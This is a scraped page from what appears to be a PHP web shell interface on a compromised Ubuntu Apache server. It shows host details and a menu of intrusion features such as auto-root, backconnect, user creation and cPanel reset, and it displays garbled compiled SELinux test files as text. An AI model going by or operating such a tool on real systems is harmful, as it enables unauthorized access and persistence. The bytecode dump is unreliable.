Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
selinux-basics /
tests /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
00_selinuxenabled.cpython-310....
1.36
KB
-rw-r--r--
01_verify_init.cpython-310.pyc
1.76
KB
-rw-r--r--
02_verify_slash_selinux.cpytho...
1.35
KB
-rw-r--r--
10_test_kernel_processes.cpyth...
1.74
KB
-rw-r--r--
20_old-style-ttys.cpython-310....
1.52
KB
-rw-r--r--
21_pam.cpython-310.pyc
1.63
KB
-rw-r--r--
22_postfix.cpython-310.pyc
2.81
KB
-rw-r--r--
24_fsckfix.cpython-310.pyc
1.17
KB
-rw-r--r--
25_udev_relabel.cpython-310.py...
1.19
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : 10_test_kernel_processes.cpython-310.pyc
o �~^� � @ s G d d� de �Zee� dS )c @ s, e Zd ZdZG dd� de�Zedd� �ZdS )� TestNoKernelTz� Test for processes running in system_u:system_r:kernel_t This type should only be used by kernel processes, which are detected by not having any maps. c @ s e Zd Zdd� Zdd� ZdS )z%TestNoKernelT.ErrorBadKernelProcessesc C s || _ d S )N)�badprocs)�selfr � r �;/usr/share/selinux-basics/tests/10_test_kernel_processes.py�__init__ s z.TestNoKernelT.ErrorBadKernelProcesses.__init__c C s dt | j� S )Nz;There were %d processes found running in the kernel domain.)�lenr )r r r r �__str__ s �z-TestNoKernelT.ErrorBadKernelProcesses.__str__N)�__name__� __module__�__qualname__r r r r r r �ErrorBadKernelProcesses s r c C s� ddl m} m} g }| dd||ddd�}|j�� |j�� D ]1}|�� \}}|�d�}|d }|�d�dkrOd } t d | �} | �� rDd} | �� | rO|� |� q|j�� t|�dkrat� |�gS g S )N� )�Popen�PIPEzgetfilecon /proc/[0-9]*T)�shell�stdin�stdout� close_fds�universal_newlines�/���zsystem_r:kernel_tFz /proc/%s/maps)� subprocessr r r �closer � readlines�split�find�open�appendr r r )r r r �pipe�line�dir�context� components�pid�badproc�filer r r �test s* � zTestNoKernelT.testN)r r r �__doc__� ErrorBaser �staticmethodr&